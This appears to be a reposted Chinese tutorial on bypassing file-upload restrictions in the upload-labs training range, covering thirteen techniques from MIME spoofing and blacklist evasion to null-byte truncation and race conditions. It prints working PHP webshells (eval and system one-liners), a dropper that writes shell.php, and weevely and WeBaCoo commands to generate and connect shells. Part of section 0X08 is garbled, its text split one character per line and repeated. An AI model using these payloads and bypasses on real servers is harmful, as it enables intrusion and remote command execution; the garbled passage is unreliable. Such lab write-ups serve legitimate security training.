目錄
- 0X01 繞過JS驗證
- JS驗證代碼分析
- Burpsuite剔除回應JS
- 瀏覽器審計工具剔除JS
- 上傳Webshell,菜刀連接
- 0X02 繞過MIME-Type驗證
- MIME-Type介紹
- 驗證MIME-Type代碼分析
- Burpsuite繞過MIME-Type驗證
- 菜刀連接 虛擬終端功能
- 0X03 繞過黑名單驗證
- 基于檔案后綴名驗證介紹
- 基于黑名單驗證代碼分析
- Burpsuite繞過黑名單驗證
- 上傳webshell菜刀連接
- 0X04 繞過黑名單驗證(.htaccess)
- .htaccess檔案介紹
- 組態檔http.conf
- 審計黑名單過濾代碼
- 制作圖片phpinfo探針上傳
- 0X05 繞過黑名單驗證 (大小寫繞過)
- 大小寫繞過原理
- 基于黑名單驗證的代碼分析
- 直接修改后綴名PhP上傳
- WeBaCoo上傳Webshell
- 0X06 繞過黑名單驗證 (空格繞過)
- 空格繞過原理
- 基于黑名單驗證代碼分析
- Burpsuite繞過黑名單
- 0X07 繞過黑名單驗證 (.號繞過)
- .號繞過原理
- 基于黑名單驗證代碼分析
- Burpsuite繞過黑名單驗證
- 生成并上傳Webshell
- 0X08 繞過黑名單驗證 (特殊符號)
- 特殊符號繞過原理
- 基于黑名單驗證代碼分析
- 直接上傳 1.php::$DATA
- 上傳第三方Webshell
- 0X09 繞過黑名單驗證(路徑拼寫繞過)
- 路徑拼接繞過原理
- 基于黑名單驗證碼分析
- 修改檔案名繞過黑名單驗證
- 上傳小Weshell,大Webshell
- 0X10 繞過黑名單驗證 (雙寫繞過)
- 雙寫繞過原理
- 基于黑名單驗證代碼分析
- 繞過黑名單驗證
- 上傳Webshell
- 0X11 繞過白名單驗證 (00截斷繞過)
- 00截斷原理
- GET型00截斷
- POST型00截斷
- 一句話代碼執行Webshell
- 0X12 圖片Webshell上傳
- 圖片Webshell制作
- 上傳圖片Webshell檔案
- 檔案包含漏洞代碼分析
- 結合檔案包含輸出phpinfo
- 0X13 競爭條件
- 檔案上傳程序介紹
- 競爭條件原理介紹
- 競爭條件代碼分析
- 競爭條件檔案上傳利用
0X01 繞過JS驗證
JS驗證代碼分析

checkFile()檢測檔案后綴名

Burpsuite剔除回應JS
靶場是upload-labs
對于JS前端驗證,直接洗掉掉JS代碼之后就可以繞過JS驗證,

瀏覽器審計工具剔除JS
利用瀏覽器的審查工具剔除JS之后,保存為新檔案然后進行檔案上傳,


上傳Webshell,菜刀連接
一句話木馬:php
<?php @eval($_POST[“cmd”]); ?>
上傳成功復制圖片地址

0X02 繞過MIME-Type驗證
MIME-Type介紹
MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展型別,是設定某種擴展名的檔案用一種應用程式來打開的方式型別,當該擴展名檔案被訪問的時候,瀏覽器會自動使用指定應用程式來打開,多用于指定一些客戶端自定義的檔案名,以及一些媒體檔案打開方式,
例如:
| 型別 | 后綴名 | 所屬 |
|---|---|---|
| PDF檔案 | application/pdf | |
| Microsoft Word檔案 | .word | application/msword |
| PNG影像 | .png | image/png |
| GIF圖形 | .gif | image/gif |
| JPEG圖形 | .jpeg, .jpg | image/jpeg |
| au聲音檔案 | .au | audio/ basic |
| MIDI 音樂檔案 | mid, .midi | audio/midi, audio/x-midi |
| Realaudio音樂檔案 | .ra,. ram | audio/x-pn- realaudio |
| MPEG檔案 | .mpg, .mpeg | video/mpeg |
| Av檔案 | .avi | video/x- msvideo |
驗證MIME-Type代碼分析
查看源代碼分析 使用$_FILE[‘upload_file’][‘type’]獲取上傳檔案的MIME-Type型別,其中upload_file是在表單中定義的,

Burpsuite繞過MIME-Type驗證
利用Burpsuite工具截斷HTTP請求,在Repeater重放修改MIME-Type型別繞過驗證,image/jpeg

菜刀連接 虛擬終端功能
一句話木馬:php <?php @eval($_POST[“cmd”]); ?>
技巧:獲取上傳Webshell的地址,右鍵圖片屬性,進行連接,

0X03 繞過黑名單驗證
基于檔案后綴名驗證介紹
對于檔案上傳模塊來說,盡量避免上傳可執行的腳本檔案,為了防止上傳腳本需要設定對應的驗證方式,最簡單的就是設定檔案后綴名驗證,
基于檔案后綴名驗證方式的分類:
1、基于白名單驗證:只針對白名單中有的后綴名,檔案才能上傳成功,
2、基于黑名單驗證:只針對黑名單中沒有的后綴名,檔案才能上傳成功,
基于黑名單驗證代碼分析
對于黑名單中的后綴名篩選,繞過黑名單可以通過尋找“漏網之魚”,尋找某些可以被作為腳本執行同時也不在黑名單中,

Burpsuite繞過黑名單驗證
利用Burpsuite工具截斷HTTP請求,利用Intruder模塊進行列舉后綴名,尋找黑名單中沒有過濾的后綴名,

上傳webshell菜刀連接
一句話木馬:php <?php @eval($_POST[“pass”]); ?>

0X04 繞過黑名單驗證(.htaccess)
.htaccess檔案介紹
htaccess檔案是Apache服務器中的一個組態檔,它負責相關目錄下的網頁配置,通過htaccess檔案,可以幫我們實作:網頁301重定向、自定義404錯誤頁面、改變檔案擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄串列、配置默認檔案等功能,
其中.htaccess檔案內容:
SetHandler application/x-httpd-php
設定當前目錄所有檔案都使用PHP決議,那么無論上傳任何檔案,只要檔案內容符合PHP語言代碼規范,就會被當作PHP執行,不符合則報錯,
組態檔http.conf
在Apache中如果需要啟動 .htaccess,必須在http.conf中設定 AllowOverride

審計黑名單過濾代碼

在黑名單中,沒有對.htaccess進行過濾,可以直接上傳.htaccess來設定使用php決議任意檔案,
檔案內容:SetHandler application/x-httpd-php
制作圖片phpinfo探針上傳
使用文本編輯工具寫入php代碼:
<?php
phpinfo();
?>
保存為1.jpg進行上傳即可,

0X05 繞過黑名單驗證 (大小寫繞過)
大小寫繞過原理
Windows系統下,對于檔案名中的大小寫不敏感,例如:test.php和TeSt.PHP是一樣的,
Linux系統下,對于檔案名中的大小寫敏感,例如:test.php和 TesT.php就是不一樣的,
基于黑名單驗證的代碼分析
分析黑名單驗證代碼:

可以清晰的看出,黑名單中增加了.htaccess的驗證,但是缺少了對上傳檔案名獲取的小寫轉換,
直接修改后綴名PhP上傳
檔案后綴名不一定必須在Burpsutie截斷的HTTP請求中修改,可以直接修改檔案后綴名進行上傳,

WeBaCoo上傳Webshell
WeBaCoo生成Webshell: webacoo -g -o a.php
上傳Webshell
連接Webshell:webacoo -t -u Webshell地址

0X06 繞過黑名單驗證 (空格繞過)
空格繞過原理
Windows系統下,對于檔案名中空格會被作為空處理,程式中的檢測代碼卻不能自動洗掉空格,從而繞過黑名單,
針對這樣的情況需要使用Burpsuite截斷HTTP請求之后,修改對應的檔案名 添加空格,
基于黑名單驗證代碼分析
經過代碼分析可以看到代碼中沒有對上傳檔案的檔案名做去空格處理,存在添加空格繞過黑名單問題,

Burpsuite繞過黑名單
利用Burpsuite工具截斷HTTP請求,對上傳的檔案名后加空格,

##Webshell生成與上傳
使用Webacoo生成Webshell: webacoo -g -o webshell.php
Burpsutie截斷HTTP請求 修改對應的檔案名,添加空格
使用Webacoo連接上傳成功的Webshell : webacoo -t -u “url”
0X07 繞過黑名單驗證 (.號繞過)
.號繞過原理
Windows系統下,檔案后綴名最后一個點會被自動去除,
例如:
Windows下新建一個1.php.檔案,查看,
基于黑名單驗證代碼分析
查看代碼分析其中缺少去除檔案名最后邊點的處理,可以利用Windows系統特性,繞過黑名單,

Burpsuite繞過黑名單驗證
利用Burpsuite工具截斷HTTP請求,上傳檔案加 . 繞過上傳,

生成并上傳Webshell
使用weevely生成Webshell并上傳,
1、生成:weevely generate 密碼 路徑 檔案名
2、上傳
3、連接:weevely shell檔案地址 密碼


0X08 繞過黑名單驗證 (特殊符號)
特殊符號繞過原理
Windows系統下,如果上傳的檔案名中test.php::
D
A
T
A
會
在
服
務
器
上
生
成
一
個
t
e
s
t
.
p
h
p
的
文
件
,
其
中
內
容
和
所
上
傳
文
件
內
容
相
同
,
并
被
解
析
,
例
如
:
在
W
i
n
d
o
w
s
系
統
下
新
建
一
個
文
件
名
為
1.
p
h
p
:
:
DATA會在服務器上生成一個test.php的檔案,其中內容和所上傳檔案內容相同,并被決議, 例如: 在Windows系統下新建一個檔案名為 1.php::
DATA會在服務器上生成一個test.php的文件,其中內容和所上傳文件內容相同,并被解析,例如:在Windows系統下新建一個文件名為1.php::DATA的檔案,查看效果,但是在Window下新建的檔案名中包含特殊符號不能成功新建,使用kali創建,

基于黑名單驗證代碼分析
分析以下代碼,發現沒有黑名單過濾沒有過濾掉 ::$DATA,

直接上傳 1.php::$DATA
在Kali Linux下修改檔案名為 1.php::$DATA進行上傳

上傳第三方Webshell
上傳網路上公開的一些Webshell,

0X09 繞過黑名單驗證(路徑拼寫繞過)
路徑拼接繞過原理
在沒有對上傳的檔案進行重命名的情況下,用戶可以自定義檔案名并在服務器中上傳新建,就會造成對應的繞過黑名單,
例如:
用戶新建 1.php.+空格+.
deldot洗掉最后一個點之后,不再進行洗掉,trim洗掉空格,那么最終上傳的檔案名為 1.php.,
利用Windows自動去除最后一個點,導致成功上傳1.php,
基于黑名單驗證碼分析
對代碼進行分析,可得上傳后的檔案沒有經過隨機化重命名,直接保存在服務器上,

修改檔案名繞過黑名單驗證
在Kali linux下修改檔案名,上傳1.php. .檔案

上傳小Weshell,大Webshell
上傳小Webshell,以繞過上傳程序中對檔案大小等限制,從而能夠更加有效上傳大Webshell,


0X10 繞過黑名單驗證 (雙寫繞過)
雙寫繞過原理
代碼撰寫程序中,只對黑名單中的內容進行空替換,因為只替換一次所以造成雙寫繞過,
例如:
1.phphpp

基于黑名單驗證代碼分析
str_ireplace() 函式替換字串中的一些字符(不區分大小寫),
該函式必須遵循下列規則:
如果搜索的字串是一個陣列,那么它將回傳一個陣列,
如果搜索的字串是一個陣列,那么它將對陣列中的每個元素進行查找和替換,
如果同時需要對陣列進行查找和替換,并且需要執行替換的元素少于查找到的元素的數量,那么多余元素將用空字串進行替換
如果是對一個陣列進行查找,但只對一個字串進行替換,那么替代字串將對所有查找到的值起作用,
注釋:該函式不區分大小寫,請使用 str_replace() 函式來執行區分大小寫的搜索,
注釋:該函式是二進制安全的,
繞過黑名單驗證
直接將php檔案后綴名修改為 phphpp

上傳Webshell
小Webshell轉義解決:修改Webshell代碼如下,

0X11 繞過白名單驗證 (00截斷繞過)
00截斷原理
0x00是十六進制表示方法,是ascii碼為0的字符,在有些函式處理時,會把這個字符當做結束符,
系統在對檔案名的讀取時,如果遇到0x00,就會認為讀取已結束,
在PHP5.3之后的版本中完全修復了00截斷,并且00截斷受限與GPC,addslashes函式
GET型00截斷
GET型提交的內容會被自動進行URL解碼,
注意:一定要關閉GPC,否則無法成功,


POST型00截斷
在POST請求中,%00不會被自動解碼,需要在16進制中進行修改00.

一句話代碼執行Webshell
使用php中的函式system執行GET提交的引數,
<?php
if($_GET){
$cmd = $_GET["cmd"];
system($cmd) ;
}else{
echo "no cmd";
}
?>

0X12 圖片Webshell上傳
圖片Webshell制作
在服務端的PHP代碼中,對于用戶上傳的檔案做檔案型別檢查,查看檔案格式是否符合上傳規范,可以檢查檔案二進制格式的前幾個位元組,從而判斷檔案型別是否正確,
針對這種情況可以直接新建要給1.jpg,其中代碼內容如下
GIF98A
<?php
phpinfo();
?>
上傳圖片Webshell檔案
將制作好的圖片Webshell上傳到服務器,
其中可能Content-Type驗證,修改為image/gif 或 image/jpg 符合當前檔案型別的MIME

檔案包含漏洞代碼分析
在PHP中,使用include、require、include_once、require_once函式包含的檔案都會被當作PHP代碼執行,
無論檔案的名稱是什么,只要符合檔案內容符合PHP代碼規范,都會被當作PHP代碼執行,
<?php
if($_GET){
include($_GET[“file”])
}
else{
echo “not get args file”;
}
?>
結合檔案包含輸出phpinfo
利用存在檔案包含的PHP頁面,包含上傳的圖片Webshell,從而觸發Webshell,輸出對應的Phpinfo.

0X13 競爭條件
檔案上傳程序介紹
檔案上傳程序:
服務器湖區檔案—》保存上傳的臨時檔案—》重命名移動臨時檔案
競爭條件原理介紹
網站邏輯:
1、網站允許上傳任意檔案,然后檢查上傳檔案是否包含Webshell,如果包含洗掉該檔案,
2、網站允許上傳任意檔案,但是如果不是指定型別,那么使用unlink洗掉檔案,
在洗掉之前訪問上傳的php檔案,從而執行上傳檔案中的php代碼,
例如:上傳檔案代碼如下
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[“cmd”]) ?>');
?>
競爭條件代碼分析
先進行上傳,后進行判斷與洗掉,利用時間差進行webshell上傳,

競爭條件檔案上傳利用
提前不斷訪問代碼檔案,然后上傳,最終使用菜刀連接一句話Webshell,
Python發送http請求:
import requests
while true:
requests.get(“路徑”)

單一測驗速度達不到,就修改一下實驗代碼(upload-less17)

如有問題請各位師傅斧正
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/264790.html
標籤:其他
上一篇:Java-日期類(JDK8)
下一篇:安全駕駛檢測
